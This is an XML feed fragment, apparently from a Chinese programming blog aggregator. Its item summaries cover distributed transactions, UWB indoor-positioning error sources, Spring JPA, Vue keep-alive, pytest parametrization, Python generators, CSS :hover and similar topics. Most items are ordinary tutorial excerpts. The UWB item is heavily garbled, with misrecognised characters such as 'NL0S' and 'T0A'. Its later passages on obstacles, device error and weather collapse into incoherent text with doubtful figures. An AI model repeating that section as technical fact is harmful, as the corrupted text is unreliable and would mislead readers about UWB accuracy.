      <description>分布式事务 1.什么是事务 访问并更新数据库中各种数据项的一个程序执行单元&#xA;通俗一点说就是，一手交钱一手交货，要么钱货两清，要么终止交易&#xA;2.什么是本地事务 通常我们使用关系型数据库来控制事务（是数据库本身的能力），数据库事务，应用程序主要靠关系型数据库来控制事务，通常单体架构中，数据库跟应用程序是在一起的（同一个服务器），所以基于关系型数据库的事务，又被称为本地事务&#xA;3.spring如何接管本地事务 使用：1.配置文件 2.注解&#xA;核心是阻止了原来返回的connection，返回了自己的connection&#xA;4.事务的ACID 原子性（atomicity）：一个事务是一个不可分割的工作单位，事务中包括的操作要么都做，要么都不做。&#xA;一致性（consistency）：事务必须是使数据库从一个一致性状态变到另一个一致性状态。一致性与原子性是密切相关的。&#xA;隔离性（isolation）：一个事务的执行不能被其他事务干扰。即一个事务内部的操作及使用的数据对并发的其他事务是隔离的，并发执行的各个事务之间不能互相干扰。&#xA;持久性（durability）：持久性也称永久性（permanence），指一个事务一旦提交，它对数据库中数据的改变就应该是永久性的。接下来的其他操作或故障不应该对其有任何影响。&#xA;5.CAP C：一致性：从数据库必须等待主数据库数据同步完成，才能给客户响应（过程阻塞）&#xA;A：可用性：我现在可以先返回就的数据给用户（从故武器没有获取主服务器最新的数据）&#xA;P：分区容错性：高可用，分布式系统中的任何一个节点挂了，都不影响其他节点&#xA;典型应用场景&#xA;CP：银行取钱&#xA;AP：准备发货中，支付中&#xA;6.BASE理论 BASE理论是对CAP中的一致性和可用性进行一个权衡的结果，理论的核心思想就是：我们无法做到强一致性，但每个应用都可以根据自身的业务特点，采用适当的方式来使西永达到最终一致性&#xA;BASE理论是Basically Available，基本可用，Soft State，软状态，状态可以有一段时间不同步，Eventually Consistent，最终一致，最终数据是一致的就可以了，而不是时时保持强一致。&#xA;7.什么是分布式事务 百度百科 - 分布式事务是指事务的参与者、支持事务的服务器、资源服务器以及事务管理器分别位于不同的分布式系统的不同节点之上&#xA;通俗来说：需要远程协助才能操作的事务，称之为分布式事务&#xA;8.分布式事务常见解决方案 2pc/3pc tcc at mq sage&#xA;二阶段提交（英文缩写：2pc）&#xA;在分布式系统中，每个节点虽然可以知晓自己的操作成功或失败，但不知晓其他节点的成功或失败&#xA;第一阶段请求阶段&#xA;1 协调者（Coordinator，即事务管理器）会向事务的参与者（Cohort，即本地资源管理器）发起执行操作的 CanCommit 请求，并等待参与者的响应.&#xA;2 参与者接收到请求后，会执行请求中的事务操作，记录日志信息(包含事务执行前的镜像)，同时锁定当前记录。参与者执行成功，则向协调者发送“Yes”消息，表示同意操作；若不成功，则发送“No”消息，表示终止操作。&#xA;3 当所有的参与者都返回了操作结果（Yes 或 No 消息）后，系统进入了提交阶段。&#xA;第二阶段提交阶段&#xA;协调者会根据所有参与者返回的信息向参与者发送 DoCommit 或 DoAbort 指令&#xA;若协调者收到的都是“Yes”消息，则向参与者发送“DoCommit”消息，参与者会完成剩余的操作并释放资源，然后向协调者返回“HaveCommitted”消息；&#xA;如果协调者收到的消息中包含“No”消息，则向所有参与者发送“DoAbort”消息，此时发送“Yes”的参与者则会根据之前执行操作时的回滚日志对操作进行回滚，然后所有参与者会向协调者发送“HaveCommitted”消息；&#xA;协调者接收到“HaveCommitted”消息，就意味着整个事务结束了。&#xA;二阶段提交的实现 - XA&#xA;三阶段提交，也叫三阶段提交协议（英文缩写3pc）&#xA;是在计算机网络及数据库的范畴下，使得一个分布式系统内的所有节点能够执行事务的提交的一种分布式算法。三阶段提交是为解决两阶段提交协议的缺点而设计的。&#xA;TCC：try，confirm，cancel&#xA;tcc补偿机制</description>
    </item>
    <item>
      <title>UWB系统的定位精度影响因素</title>
      <link>https://bchobby.github.io/posts/e7be55525c17576b86784cfa51752219/</link>
      <pubDate>Wed, 13 Apr 2022 18:03:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7be55525c17576b86784cfa51752219/</guid>
      <description>UWB系统的定位精度影响因素&#xA;影响UWB定位精度的因素较多，主要包括:多径效应、非视距传播、多址干扰、参考基站数量、参考基站位置和时钟同步误差等因素。&#xA;(1)多径效应&#xA;超宽带信号在室内传播过程中受到复杂的室内环境( 如墙体、窗体及室内障碍物等)的影响，会发生反射、折射等情况从而产生多径效应。多径效应会导致信号经过不同的路径到达定位基站天线的情况各异，使得第一一个到达的信号分量不是直线传输到达的信号分量，显示出不同的时间和空间方位。此时，信号到达定位基站的各分量之间的相位关系会发生改变，不同的路径也会使各量具有不同的时延，微小的时延导致信号各分量相互干涉，从而引起信号的快衰减与能量衰减，信噪比下降，最终导致测量误差，定位精度也随之降低。多径效应对RSSI和AOA等非时间测距的定位算法会产生很大的影响，而对于基于时间测量的定位算法T0A/TDOA,也会引起测量值的偏差，可见多径效应是影响定位精度的主要原因之一。因此，要尽可能地抑制 多径效应将能有效地提高定位精度，目前抑制多径效应的方法主要是关于时延估计的算法，如基于边缘检测的时间延迟估计14与基于遗传粒子滤波的多径时延估计算法&#xA;(2)非视距传播&#xA;当目标节点与参考基站之间的直射路径被障碍物遮挡后，发射点和接收点之间就不存在直达路径了，无线电信号只能经过反射或折射后才能抵达接收端，这种现象被称为非视距传播(NL0S)。 传统的TOA算法是检测最强脉冲来得到传输时何的，但是当非视距信号到达接收端时，此时第一个到达脉冲并不是最强的脉冲，使得TOA算法存在误差。基于角度测量的AOA算法因为NIL05S 误差的影响，得到的角度测量值与真实值之间也无法避免地存在着较大误差。在实际室内定位过程中，经实验证明，由TOA算法得到的测量值的方差在NLOS环境下比在L.05环境下的值大10，因此我们可以利用这种差别来甄别是否为NIOS环境，然后利用简单的L.0S重建算法就可以减少定位误差的产生。另一种减小误差的方法是使用有偏或无脑卡尔曼滤波的方式对实际测量值进行筛选，从而使得待测节点取得较高的定位精度&#xA;(3) 多址干扰&#xA;由于参考基站需要协同定位，因此某个参考基站不光要接收待定位节点发射过来的信号，还要接收临近基站的发射信号。不同的信号叠加在一起就造成了信号的干扰，降低了信号的信噪比，使测得的T0A值与真实值相差较大。解决的办法是: a)采用相互正交的即时序列，使得用户在不同的时候进行信号的传输，从而避免用户间干扰: b)在接收端使用一个匹配速波器，对多址信道内的扩频信号进行输出，然后根据有效的信号处理方法最终判断恢安出原址的方法送信号数据，这种方法也能够在一定程度上消除远近效应的影响。&#xA;(4)参考基站数量&#xA;增加参考基站的数目可以增加T0A测量值的信息冗余度，降低定位的误差，提高定位的精确度。但定位基站的数量不是越多越好，当定位参考基站的数目增加到定程度时， 无法充分利用其他基站提供的距离信息。在实际的应用当中，考虑到计算速度和成本，按照经验般参考基站的数量为4-6个。&#xA;(5) 参考基站位置&#xA;合理地设置参考基站的位置可以在一定程度上 上抑制多址干扰，提高定位的精度。参考基站与待定位节点的相对位置的关系对定位系统影响的程度可以用几何精度因子(Goumetie Dhution o Pecsin, GDOP)来表示。在实际的应用当中，在从大量的参考基站选择基站时，可以用CDOP作为选择指标。阅读有关的文献可知，均匀分布的基站比无序分布的参考基站有着更好的定位效果。&#xA;(6)时钟同步误差&#xA;基于T0A和TDOA的超宽带定位算法所使用的时钟同步是不相同的，精于TOA的定位不仅要求待定位节点和各个参考基站间有严格的时钟同步，而且也要求参考基站间保持时钟同步。而基于TDOA定位时仅仅需要各多考基站间时钟同步即可，这样就减少了定位系统的复杂度和成本。因此，时钟同步误差与定位精度有着密切关系。时钟同步过程中会受到多方面因素的影响。1)时钟设备质量的可靠性，例如信号收发设备的精度过低，在测量过程中可能会产生较大的测量误差，另外，品体振荡器自身存在的温漂、老化等问题也会使时钟发生偏移。2)时钟同步算法，主要分为有线时钟同步和无线时钟同步，不同的时钟同步算法的精度是不同的，相比于有线时钟同步算法，无线时钟同步算法在应用上更为方便，但是相对而言同步的难度更大”。3)同步范围，由信号传输的路径报耗规律可知，信号的传输距离并不是无限远的，-定的发射功率也限定了-定的信号可用范围，因此时钟的同步范围大致可以分为单区域同步和跨区域同步。单区域时钟同步，顾名思义，在特定的区域内进行时钟同步，单区域时钟同步会受到所要同步的区域形状的影响;跨区域时钟同步则会受到相邻同步区域的时钟同步误差累积影响，即与原始时钟越远的区域时钟同步误差越大。4)时钟同步的环境，例如信号的收发过程是否受到干扰，信号传输环境是否为NLOS等。因此，受这些因素的影响，容易造成不理想的时钟同步情况，不理想的时钟同步会带来一定的时钟误差， 从而影响到定位精度和定位稳定性。引起UWB测距误差的原因有多个，室内定位节点之间的本地时钟不同源导致时间同步上的误差，该误差可以通过TDOA测距方式消除:影响测距误差的还有系统误差，系统误差一般包括天线延迟误差、经纬度、环境湿度以及海拔等因素的影响，可以通过线性拟合的方式来消除部分系统误差，为了使最后的定位更加准确，在正式实验定位之前，需要进行测距预处理工作，以此来提高后期的定位精度:影响测距精度的原因还有另外一个，测距方式的不同，也可能导致最后的定位精度有差异，可以使用的测距方式为双向对称测市，而非双向测距。这可以提高定位精度。TDOA测量误差、时钟偏差、基站数量与位置、随机遮档、设备误差和气象条件等典型误差特征。 TDOA测量误差现有技术方案中，为了解决对TDOA测量误差的校正需要引入测量参考设备，典型的校正系统由一个参考发射设备和两个参考接收设备构成，参考发射设备和参考接收设备的位置已知。由参考发射设备发送特殊的测量信号，参考接收设备在收到测量信号后，可以获得TDOA的测量结果。然后利用已知的参考设备的位置信息，计算出TDOA的理论值。对比TDOA的测量结果和计算结果，可获得TDOA的测量误差信息。利用多个参考发射设备可以得到多个测量误差估计结果，对所有测量误差估计结果进行加权平均处理后，在后续的TDOA测量过程中，采用加权平均处理获得的误差信息对测量结果进行校正。根据对TDOA测量误差来源的分析，参考设备校正过程获得的误差信息做加权平均处理后，不具备普遍代表性，校正获得的精度提高有限&#34;(2)时钟偏差时钟偏差可以通过校准源校正，且存在与否对定位性能界有影响，噪声水平多大对于稳健的算法而言是无影响的。(3)基站数量与位置1) 数量:基站位置误差噪声水平是影响定位性能的重要因素， 基于TDOA最小二乘算法，在不考虑其他误差的情况下，分析了基站几何布局对定位终嘴的误差影响，可以看出较好的基站几何布局能够大大提高移动台的定位精度。在可得到多基站信号特征值的情况下，可以根据多基站选择算法来选择具有较好几何布局的基站来进行定位，有助于利用较少的系统资源得到较好的定位精度。此外还可以根据不同的定位需求，指导基站的架设。对于Chan定位算法，在高斯噪声环境下，陆着参与定位的基站数的增加，能够利用的TDOA测量值的数目增加，可以得到更高的定位精度。当参与定位的基站数达到5个及以上后，定位精度改变不大，也就是说，利用TDOA测量值的定位算法，需愛多与定位的基站至少为3个，当参与定位的基站达到5个以上时，定位性能达到最优。&#xA;位置:根据仿真模拟，当基站数量较多时，集合分布按照蜂窝型布置时，定位误差最小。&#xA;(4)随机遮挡(无线电波的衍射与反射)在室内定位中，室内的意挡物对UWB技术产生多大的影响呢?&#xA;1)实体墙:一堵实体墙的这种速挡将使得UwB信号衰减60% -70%，定位精度误差上升30cm左右，两堵或者两堵以上的实体墙遮挡，将使得UWB无法定位。&#xA;2)钢板:钢铁对UWB脉冲信号吸收很严重，将使得UWB无法定位。&#xA;3)玻璃:玻璃遮挡对UWB定位精度没太大的影响。&#xA;4)木板或纸板。鹏厚度10cm左右的木板或纸板对UwB定位精度没大大电线杆或者书面遮挡时需要看他们之间距离基站或者标的影响。&#xA;5)电线杆或树木，林签的相对面离比较是否很小，比如，基站和定位标签的签的距离，与基站和标插期不正好在两者中间25m处，这种遮挡就没有大的影距离为s0m，电线杆或者树本正好新为国非站成标资距离很近小于m，影响就很大。设备误差卫星发射设备及及用户接收设备的电路延时(这些电路延时随环境因素、电出工作条件、 元件名化、信号和干批占中的强弱而变化)，将产生固定的及限机净的制防设发此外，计算机进行定位计算也会有计算误差，从而导致定位误差。&#xA;(6)气象条件&#xA;1)温度和气乐等因素对测距精度的影响呈线性变化，气压的影响最为显著.其次是温度。&#xA;2)从温度对测距精度的影响曲线可以看出，距离一定时， 随着温度的增加，对测距精度呈正梯度:随着作用距离的增加，温度的影响进步增大。&#xA;3)从压力对测距精度的影响曲线可以看出，距离一定时， 随着压力的增加，对测距精度呈负梯度:随着作用距离的增大，其影响程度进一步 加图。&#xA;4)固定温度、压力和湿度，距离对测距精度的影响呈负梯度变化。&#xA;(7) 大气&#xA;现有技术中，在视距情况下，基于UWB实时高精度室内定位之所以会导致精度下降，主要是由于当基站和标签距离较远时，受大气误差延迟的干扰严重，增加了UWB信号到达时间。因此，没有办法准确地计算出基站与标签的距离通过∪WB设备得到标签与基站之间的测量距离，通过基站和标签之间的测量距离建立观测方程;在所述观测方程中引入与测量距离成正比例的大气误差参数:通过三角定位的方法将位置参数与大气误差参数起进行补偿解算， 从而消除大气中信号传播的大气干扰造成的误差:解算得出消除大气误差后的误差</description>
    </item>
    <item>
      <title>jpa的使用</title>
      <link>https://bchobby.github.io/posts/5e9d4027f1cdeb0195600b72be196b9d/</link>
      <pubDate>Wed, 13 Apr 2022 17:51:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e9d4027f1cdeb0195600b72be196b9d/</guid>
      <description>目录&#xA;什么是jpa？&#xA;spring data jpa&#xA;springboot演示jpa&#xA;1.pom依赖&#xA;2.application.properties 配置&#xA;3.建立用户实体类&#xA;4. 声明 UserRepository接口，继承JpaRepository&#xA;5.定义测试类，演示添加操作&#xA;6.查询&#xA;什么是jpa？ JPA是Java Persistence API的简称，中文名Java持久层API， 是 Sun 官方提出的 Java 持久化规范。它为 Java 开发人员提供了一种对象/ 关联映射工具来管理 Java 应用中的关系数据。 他的出现主要是为了简化现有的持久化开发工作和整合 ORM 技术。&#xA;spring data jpa Spring Data JPA 是 Spring 基于 ORM 框架、JPA 规范的基础上封装的一套 JPA 应用框架，底层使用了 Hibernate 的 JPA 技术实现， 可使开发者用极简的代码即可实现对数据的访问和操作。 它提供了包括增删改查等在内的常用功能， 且易于扩展！学习并使用 Spring Data JPA 可以极大提高开发效率。&#xA;springboot演示jpa 1.pom依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.45&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-jpa&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.application.properties 配置 spring.</description>
    </item>
    <item>
      <title>keep-alive的使用及详解</title>
      <link>https://bchobby.github.io/posts/924f0ae8bc2c426ad13a57fb6f09050c/</link>
      <pubDate>Wed, 13 Apr 2022 17:44:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/924f0ae8bc2c426ad13a57fb6f09050c/</guid>
      <description>一.概念 keep-alive 是 Vue 的内置组件，当它包裹动态组件时，会缓存不活动的组件实例，而不是销毁它们。和 transition 相似，keep-alive 是一个抽象组件：它自身不会渲染成一个 DOM 元素，也不会出现在父组件链中。&#xA;二.作用 在组件切换过程中将状态保留在内存中，防止重复渲染DOM，减少加载时间及性能消耗，提高用户体验性。&#xA;三.Props include - 字符串或正则表达式。只有名称匹配的组件会被缓存。exclude - 字符串或正则表达式。任何名称匹配的组件都不会被缓存。max - 数字。最多可以缓存多少组件实例 四. 生命周期 当组件在 &amp;lt;keep-alive&amp;gt; 内被切换，它的 activated 和 deactivated 这两个生命周期钩子函数将会被对应执行。&#xA;1. activated&#xA;在 keep-alive 组件激活时调用&#xA;使用 keep-alive 会将数据保留在内存中，如果要在每次进入页面的时候获取最新的数据，需要在 activated 阶段获取数据，承担原来 created 钩子函数中获取数据的任务&#xA;2.deactivated&#xA;注意： 只有组件被 keep-alive 包裹时，这两个生命周期函数才会被调用，如果作为正常组件使用，是不会被调用的，以及在 2.1.0 版本之后，使用 exclude 排除之后，就算被包裹在 keep-alive 中，这两个钩子函数依然不会被调用！另外，在服务端渲染时，此钩子函数也不会被调用&#xA;五.用法 1.缓存所有页面 &amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;keep-alive&amp;gt; &amp;lt;router-view/&amp;gt; &amp;lt;/keep-alive&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;App&#39; } &amp;lt;/script&amp;gt; 2.</description>
    </item>
    <item>
      <title>阻抗匹配及其方法</title>
      <link>https://bchobby.github.io/posts/1fdffc45ce69cf4e39a28ef0407d36e1/</link>
      <pubDate>Wed, 13 Apr 2022 13:56:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fdffc45ce69cf4e39a28ef0407d36e1/</guid>
      <description>1、阻抗匹配：信号在传输过程中，为避免发生信号反射干扰，要求传输线的特征阻抗与负载阻抗一致；&#xA;2、基本阻抗匹配原则：单端走线控制阻抗为50Ω，差分走线控制阻抗为100Ω；&#xA;3、阻抗匹配方法：阻抗匹配四种处理方式_pan0755的博客-CSDN博客_阻抗匹配的方法&#xA;4、一般串接匹配电阻在阻抗匹配实际应用中最多。</description>
    </item>
    <item>
      <title>CVPR2022车道线检测Efficient Lane Detection via Curve Modeling</title>
      <link>https://bchobby.github.io/posts/10de411654ad16abf36e0028f4f214f1/</link>
      <pubDate>Wed, 13 Apr 2022 12:29:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10de411654ad16abf36e0028f4f214f1/</guid>
      <description>分享前段时间看的一篇车道线检测方向的新工作，也是中了最近公开结果的2022CVPR，是上海交大、华东师大、香港城市大学和商汤科技合作完成的，代码已经开源。关于车道线检测任务，我之前也分享过几篇文章：&#xA;相关链接（点击进入）：&#xA;车道线检测综述及近期新工作&#xA;https://blog.csdn.net/qq_41590635/article/details/117386286&#xA;车道线检测新工作VIL-100: A New Dataset and A Baseline Model for Video Instance Lane Detection ICCV2021&#xA;https://blog.csdn.net/qq_41590635/article/details/120335328&#xA;自动驾驶视觉感知之语义分割+车道线检测demo&#xA;https://mp.weixin.qq.com/s/gS-pZyhdq4f-jRJo9MjY8Q&#xA;论文链接:&#xA;https://arxiv.org/abs/2203.02431&#xA;代码链接:&#xA;https://github.com/voldemortX/pytorch-auto-drive&#xA;简介 Lane detection strategies 如上图所示，基于深度学习的车道线检测方法可分为三大类：基于分割的方案（图中绿色示例）、基于点检测的方案（图中蓝色示例）和基于多项式曲线的方案（图中黄色示例）。&#xA;其中基于分割和点检测的方案一般效果性能更好，但基于分割方案和基于点检测方案的表征是局部的、间接的，且在多项式曲线中的抽象因子(a, b, c, d)难于优化。为此，文章提出了基于三次B´ezier 曲线的方案，即上图中的红色曲线和虚线框，因为贝塞尔曲线具有易于计算、稳定、转换自由等特点。此外，作者也设计了基于可形变卷积的特征翻转融合模块，进行车道线对称属性的探究。&#xA;最终文章的方案在保持高速度（&amp;gt;150FPS）和小尺寸（&amp;lt;10M）的同时，在车道线检测基准数据集LLAMAS上取得了新的SOTA表现，同时在TuSimple和CULane数据集上取得了竞争力的精度表现。&#xA;B´ezier 曲线相关补充 贝塞尔曲线（以3阶为例）是依据四个位置任意的点坐标绘制出的一条光滑曲线。其通过控制曲线上的四个点（起始点、终止点以及两个相互分离的中间点）来创造、编辑图形。其中起重要作用的是位于曲线中央的控制线。这条线是虚拟的，中间与贝塞尔曲线交叉，两端是控制端点。移动两端的端点时贝塞尔曲线改变曲线的曲率（弯曲的程度）；移动中间点（也就是移动虚拟的控制线）时，贝塞尔曲线在起始点和终止点锁定的情况下做均匀移动。&#xA;对于任意阶贝塞尔曲线，可通过以下公式进行表示：&#xA;文章也对贝塞尔曲线和多项式方程曲线进行了对比实验，如下表所示，表中指标是TuSimple测试集上的结果，越低越好。&#xA;通过上述实验，文章选择使用经典的3阶贝塞尔曲线(n=3), 因为实验中发现3阶足够用来进行车道线建模，同时与3阶多项式曲线相比具有更好的拟合能力，而3阶多项式曲线是之前众多方案中的基础方程（论文中如此说），实际小汤在自己参与的部分工作及和同行交流中得知，目前各家实际量产中的方案也大都为3阶多项式曲线方案。文章也指出更高阶的曲线并没有带来相应的性能提升，但却会由于高自由度而造成不稳定性。&#xA;The Proposed Architecture 对于输入的RGB图像，经过特征提取得到的特征图送入特征翻转融合模块，得到 CxH/16xW/16 大小的特征图，再经过平均池化得到的CxW/16的特征图，最后经过一个分类和一个回归分支得到相应的贝塞尔曲线结果。&#xA;Feature Flip Fusion&#xA;特征翻转模块是文章的主要工作之一。&#xA;通过对车道线作为历史曲线来建模，文章集中于各条车道线的几何特性，如瘦、长、连续等特性。当从前视相机的角度来考虑车道线的全局结构事，道路具有空间等分的车道线，近似于对称，例如。左边车道线的存在可能暗示其右侧存在对应的车道线。文章对这种对称性进行建模，为此设计了特征翻转模块。&#xA;an auxiliary binary segmentation branch&#xA;文章还在ResNet backbone上设计了一个额外的二分类分割分支，旨在加强对于空间细节的学习。并通过实验发现这个额外的分支只有在和特征翻转融合模块一起工作时才起作用。这是因为分割任务的定位有利于提供一个空间上更准确的特征图，这个反过来支持翻转特征图之间更准确融合。&#xA;这个额外的二分类分割分支只在训练时使用，推理时关掉。&#xA;文章通过上图所示的Grad-CAM可视化效果对这一设计的影响进行了说明，详细细节可以阅读原文。&#xA;Overall Loss 因为在车道线检测数据集中，并不存在正负样本不平衡问题，所以分类和分割都使用了简单的加权交叉熵损失。&#xA;Experiments Results on test set of CULane and TuSimple.</description>
    </item>
    <item>
      <title>【pytest】(详解)@pytest.mark.parametrize: 参数化测试函数</title>
      <link>https://bchobby.github.io/posts/2e9d5a807588a8a3f41062c71f0b3594/</link>
      <pubDate>Wed, 13 Apr 2022 12:06:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e9d5a807588a8a3f41062c71f0b3594/</guid>
      <description>目录 1.快速入门1.1介绍1.2代码示例1.3运行结果1.4结果分析 2.装饰测试类2.1介绍2.2示例代码2.3.运行结果2.4结果分析 3.全局变量方式进行参数化3.1介绍3.2示例代码3.3运行结果3.4结果分析 4.标记参数化4.1介绍4.2示例代码4.3运行结果4.4结果分析 5.堆叠parametrize装饰器5.1介绍5.2示例代码5.3运行结果5.4结果分析 6.参数为字典的方式6.1介绍6.2示例代码6.3运行结果6.4结果分析 7.ids参数用例描述7.1介绍7.2示例代码7.3运行结果7.4结果分析 8.解决unicode编码问题8.1问题描述8.2解决方法一:通过配置pytest.ini处理8.3解决方法二:通过钩子函数pytest_collection_modifyitems解决 9.基于pytest_generate_tests钩子函数的参数化9.1介绍9.2示例代码9.3运行结果 跟着官网学习的,记录记录笔记.&#xA;1.快速入门 1.1介绍 以前使用unittest的时候,我们参数化是用@ddt,但是使用pytest之后,pytest内置了pytest.mark.parametrize装饰器来对测试函数的参数进行参数化&#xA;1.2代码示例 文件名: test_demo.py&#xA;import pytest @pytest.mark.parametrize(&#34;test_input,expected&#34;, [(&#34;3+5&#34;, 8), (&#34;2+4&#34;, 6), (&#34;6*9&#34;, 42)]) def test_eval(test_input, expected): assert eval(test_input) == expected 1.3运行结果 1.4结果分析 我们通过@parametrize装饰器定义了三个不同的(test_input,expected)的元祖,然后test_eval函数就依次使用了他们三次.这就是一个简单的参数化使用案例.&#xA;2.装饰测试类 2.1介绍 我们可以对类进行参数化,但这限制比较高,比如你类下面的所有函数,参数名称和个数都要和你写的参数名称个数一致,否则就会报错.&#xA;2.2示例代码 文件名: test_demo.py&#xA;import pytest @pytest.mark.parametrize(&#34;name,age,sex&#34;, [(&#34;微光&#34;, 18, &#34;男&#34;), (&#34;杨过&#34;, 20, &#34;男&#34;), (&#34;小龙女&#34;, 27, &#34;女&#34;)]) class TestDemo: def test_demo01(self, name, age, sex): print(name, age, sex) # def test_demo02(self, sex): # print(sex) # def test_demo03(self): # print(&#34;</description>
    </item>
    <item>
      <title>yield数据集生成器用法学习</title>
      <link>https://bchobby.github.io/posts/4b660fb2c2656db33c306e7dab3f03ef/</link>
      <pubDate>Wed, 13 Apr 2022 10:16:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b660fb2c2656db33c306e7dab3f03ef/</guid>
      <description>方法一，简单yield方法。 假如我都数据集是一个列表[0,1,2,3,4,5,6,7,8,9]。&#xA;需求：&#xA;打乱顺序，相当于随机取数。一轮取完，重新打乱顺序，继续取数。无穷无尽。 def test_yeild(): np.random.shuffle(a) for j in range(10): yield a[j] if __name__ == &#39;__main__&#39;: a = list(range(10)) while True: for i in test_yeild(): print(i) print(&#34;finish***&#34;) 下面是pytorch的自带的图像数据集cifar10的处理方法。&#xA;import numpy as np import _pickle as pickle def unpickle(file): fo = open(file, &#39;rb&#39;) dict = pickle.load(fo, encoding=&#39;bytes&#39;) fo.close() return dict[b&#39;data&#39;] def cifar_generator(filenames, batch_size, data_dir): all_data = [] for filename in filenames: all_data.append(unpickle(data_dir + &#39;/&#39; + filename)) images = np.concatenate(all_data, axis=0) def get_epoch(): np.</description>
    </item>
    <item>
      <title>Snipaste安装教程及软件（截图工具）</title>
      <link>https://bchobby.github.io/posts/6bc922e0c68d5fe91256ea8bbc90b382/</link>
      <pubDate>Wed, 13 Apr 2022 08:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bc922e0c68d5fe91256ea8bbc90b382/</guid>
      <description>一、软件下载 Snipaste是一个功能强大的免费开源截图工具，支持自定义快捷键、主题色、界面字体等，也可以让你将截图贴回到屏幕上！你还可以将剪贴板里的文字或者颜色信息转化为图片窗口，并且将它们进行缩放、旋转、翻转、设为半透明。如果你是程序员、设计师，或者是大部分工作时间都在电脑前，贴图功能将改变你的工作方式、提升工作效率。Snipaste 使用很简单，但同时也有一些较高级的用法可以进一步提升你的工作效率。如果想要深入了解学习，可以读一读 用户手册 。Snipaste很安全，没有广告、不会扫描你的硬盘、不会上传用户数据，它是一款特别实用的截图软件。&#xA;如果要下载Snipaste软件 请到 博主主页的资源栏中找到“Snipaste（截图软件）”进行下载哦。记得解压后回到页面看安装教程哦。&#xA;（本软件为 免安装 类型哦）&#xA;二、安装步骤 1.解压文件后，打开文件，找到“Snipaste.exe”，根据下图提示创建桌面快捷方式。&#xA;2.双击桌面图标，在桌面右下角状态栏中可以找到软件图标，鼠标右键点击，选择首选项可以设置相关功能选项。&#xA;3.不同的选项对应不同功能的调整，可以根据需求进行设置。如下快捷键设置。&#xA;4.如下所示常规设置。&#xA;5.如下所示截图设置。&#xA;6.如下所示，贴图设置。&#xA;7.如下所示，输出设置。&#xA;写在后面：&#xA;如果你的软件不是免安装类型的，可以去下载哦。这款截图软件很实用。</description>
    </item>
    <item>
      <title>最大回文乘积(C语言)</title>
      <link>https://bchobby.github.io/posts/18fa5c4d1b17607344cf633748593a86/</link>
      <pubDate>Tue, 12 Apr 2022 22:39:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18fa5c4d1b17607344cf633748593a86/</guid>
      <description>回文数就是从前往后读和从后往前读都一样的数。由两个位数相乘得到的最大的回文数是 9009 = 91 * 99。&#xA;求由两个位数相乘得到的最大的回文数。&#xA;#include &amp;lt;stdio.h&amp;gt; // 判断是否是回文数 int func (int x) { // t 是x倒转之后的结果 int t = 0, r = x; while(x != 0) { t = t * 10 + x % 10; x /= 10; } return t == r; } int main () { int ans = 0; for (int i = 100; i &amp;lt; 1000; i++) { for(int j = i; j &amp;lt; 1000; j++) { int t = j * i; if(func(t)) { // 最大的回文乘积 if(ans &amp;lt; t) { ans = t; } } } } printf(&#34;</description>
    </item>
    <item>
      <title>CSS:hover常见问题及用法</title>
      <link>https://bchobby.github.io/posts/2ef8dee679a6f10d6cb95222808fbba6/</link>
      <pubDate>Tue, 12 Apr 2022 21:59:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ef8dee679a6f10d6cb95222808fbba6/</guid>
      <description>目录&#xA;hover定义&#xA;hover用法&#xA;hover问题&#xA;后记&#xA;hover定义 :hover 选择器用于选择鼠标指针浮动在上面的元素&#xA;hover用法 控制自身样式 &amp;lt;div class=&#34;aa&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;style&amp;gt; aa:hover { background-color:yellow; } &amp;lt;/style&amp;gt; 父元素控制子元素 &amp;lt;div class=&#34;parent&#34;&amp;gt; &amp;lt;div class=&#34;child&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;style&amp;gt; parent:hover child{ //鼠标经过父元素时，改变子元素背景色 background:#000; } &amp;lt;/style&amp;gt; 控制同级元素样式 &amp;lt;div class=&#34;doc1&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;doc2&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;style&amp;gt; doc1:hover +doc2 { //鼠标经过doc1元素时，改变doc2元素背景色 //注意：不能通过doc2元素改变doc1元素 background:#000; } &amp;lt;/style&amp;gt; hover问题 active，visited，hover，link之间的生效顺序的关系。使用了中文的标识符。在设置:hover前，增加来空格，导致只对其后代有效。存在hover的元素的行内式样式，效果不显示。控制同级元素样式时，hover只对相邻元素有效（下一个紧挨着的元素，上一个元素不能被控制）。 后记 借鉴自：&#xA;css之伪类hover改变自身、子元素、其他元素的样式_Boale_H的博客-CSDN博客</description>
    </item>
    <item>
      <title>python 颜色调整（饼状图）</title>
      <link>https://bchobby.github.io/posts/cd42997574e915785d993def8fb7bd47/</link>
      <pubDate>Tue, 12 Apr 2022 17:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd42997574e915785d993def8fb7bd47/</guid>
      <description>python画图常用颜色_珠穆拉玛峰的博客-CSDN博客_python画图颜色&#xA;文字、图片颜色调整。&#xA;方式1： \textcolor{red}{text}&#xA;方式2：\textcolor[rgb]{0.5, 0.5,0}{text} (0-1)&#xA;方式3：\textcolor[RGB]{105, 0,0}{text} (0-255)</description>
    </item>
    <item>
